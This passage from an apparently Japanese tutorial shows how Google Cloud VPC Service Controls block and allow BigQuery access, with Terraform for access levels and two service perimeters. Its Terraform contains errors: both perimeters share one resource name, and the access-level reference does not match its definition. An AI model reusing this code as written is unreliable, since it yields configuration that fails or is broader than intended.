ポリシー違反の理由を確認するために、Google CloudではVPC Service Controls のトラブルシューティングが用意されています。
VPC Service Controls のトラブルシューティングによる問題の診断

上記のようにポリシー違反が発生した際、vpcServiceControlsUniqueIdentifier:以降の文字列をVPC Service Controls のトラブルシューティングに入力すると違反理由が確認できます。

トラブルシューティングをすると、以下のように行われた動作と違反理由が表示されます。

認証されていないアカウントで確認してみる

また、認証されていないアカウントで確認してみると以下のように表示されます。

データセットすら見えず、クエリを打とうとすると右上に赤字でVPC Service Controls: Request is prohibited by organization's policy.と表示されています。

認証されていないアカウントでbqコマンドでも同様に確認してみます。

$ bq query --use_legacy_sql=false --project_id <YOUR_PROJECT_ID>  'select worker_id from `****-service-three.svc3_dataset.test_table`'

BigQuery error in query operation: VPC Service Controls: Request is prohibited by organization's policy.
vpcServiceControlsUniqueIdentifier: ***.

bqコマンドでもデータにアクセスできないことが確認できました。
以上より、サービス境界が作られていることがわかりました。

IP制御を加えてみる

アクセスレベルにGCEのVMに付与されたIPアドレスを指定し、先ほどと同様のサービス境界を作成します。

resource "google_access_context_manager_access_level" "id_and_ip" {
  parent = "accessPolicies/${google_access_context_manager_access_policy.access_policy.name}"
  name   = "accessPolicies/${google_access_context_manager_access_policy.access_policy.name}/accessLevels/specified_id_and_ip"
  title  = "Specified ID and IP"

  basic {
    # combining_functionで各条件の組み合わせ条件を指定する
    # デフォルトはANDになる
    combining_function = "AND"
    conditions {
      members = [
        "user:xxx@yyy.com"
      ]
    }
    conditions {
      ip_subnetworks = [
        "xx.xx.xx.xx/32"
      ]
    }
  }
}

先ほどアクセス可能だったアカウントからGoogle CloudコンソールのBigQueryへアクセスして、クエリを実行してみます。

アクセスできなくなったことが確認できます。

次に指定されたIPアドレスのVMに認証済みのアカウントでgcloud auth loginしてからbqコマンドを打ってみます。

bq query --use_legacy_sql=false --project_id <YOUR_PROJECT_ID>  'select worker_id from `****-service-three.svc3_dataset.test_table`'
+-----------+
| worker_id |
+-----------+
|         1 |
|         4 |
|         3 |
|         5 |
|         2 |
+-----------+

無事にクエリを実行できました。

このようにアクセスレベルでは個々のIPやアカウントを利用した細かい制御ができます。
他にもOSの指定（有料）、スクリーンロックを要求するなどを設定できます。

応用編

Service Perimeterで守られた2つのBigQuery間でテーブルをJOINする

2つのプロジェクトを用意し、各プロジェクトで以下のデータセットを用意します。

+---------------+-----------------+
| department_id | department_name |
+---------------+-----------------+
|             3 | HR              |
|             1 | Engineer        |
|             5 | Marketing       |
|             4 | BackOffice      |
|             2 | Sales           |
+---------------+-----------------+

+-----------+-----------+-----+---------------+
| worker_id |   name    | age | department_id |
+-----------+-----------+-----+---------------+
|         1 | Tanaka    |  23 |             1 |
|         4 | Kobayashi |  28 |             2 |
|         3 | Yamada    |  56 |             2 |
|         5 | Suzuki    |  44 |             3 |
|         2 | Sasaki    |  34 |             5 |
+-----------+-----------+-----+---------------+

そして、それぞれのBigQueryを以下のように別のサービス境界で守ります。

ではこの時、どのようにIngree/Egressを設定すればよいのでしょうか？
正解は以下のようになります。

アクセスレベルには先ほどと同様のIDとIPで指定したアクセスレベルを利用し、サービス境界のTerraformコードは以下になります。

resource "google_access_context_manager_service_perimeter" "projecta_perimeter" {
  parent = "accessPolicies/${google_access_context_manager_access_policy.access_policy.name}"
  name   = "accessPolicies/${google_access_context_manager_access_policy.access_policy.name}/servicePerimeters/projecta"
  title  = "ProjectA"
  status {
    restricted_services = [
      "bigquery.googleapis.com",
    ]
    resources = [
      "projects/111111111111", # ProjectA
    ]
    access_levels = [
      google_access_context_manager_access_level.access_level_id_and_ip.name
    ]
    egress_policies {
      egress_from {
        identity_type = "ANY_IDENTITY"
      }
      egress_to {
        resources = [
          "projects/222222222222" # ProjectB
          ]
        operations {
          service_name = "bigquery.googleapis.com"
          method_selectors {
            method = "*"
          }
        }
      }
    }
  }
}

resource "google_access_context_manager_service_perimeter" "projecta_perimeter" {
  parent = "accessPolicies/${google_access_context_manager_access_policy.access_policy.name}"
  name   = "accessPolicies/${google_access_context_manager_access_policy.access_policy.name}/servicePerimeters/projectb"
  title  = "ProjectB"
  status {
    restricted_services = [
      "bigquery.googleapis.com",
    ]
    resources = [
      "projects/222222222222", # ProjectB
    ]
    access_levels = [
      google_access_context_manager_access_level.access_level_id_and_ip.name
    ]
    egress_policies {
      egress_from {
        identity_type = "ANY_IDENTITY"
      }
      egress_to {
        resources = [
          "projects/111111111111" # ProjectA
          ]
        operations {
          service_name = "bigquery.googleapis.com"
          method_selectors {
            method = "*"
          }
        }
      }
    }
  }
}

bq query --use_legacy_sql=false  'select name, age, department_name from `project-a.dataset.table1` as table1 join `project-b.dataset.table2` as table2 on table1.department_id=table2.department_id'
+-----------+-----+-----------------+
|   name    | age | department_name |
+-----------+-----+-----------------+
| Suzuki    |  44 | HR              |
| Tanaka    |  23 | Engineer        |
| Sasaki    |  34 | Marketing       |
| Kobayashi |  28 | Sales           |
| Yamada    |  56 | Sales           |
+-----------+-----+-----------------+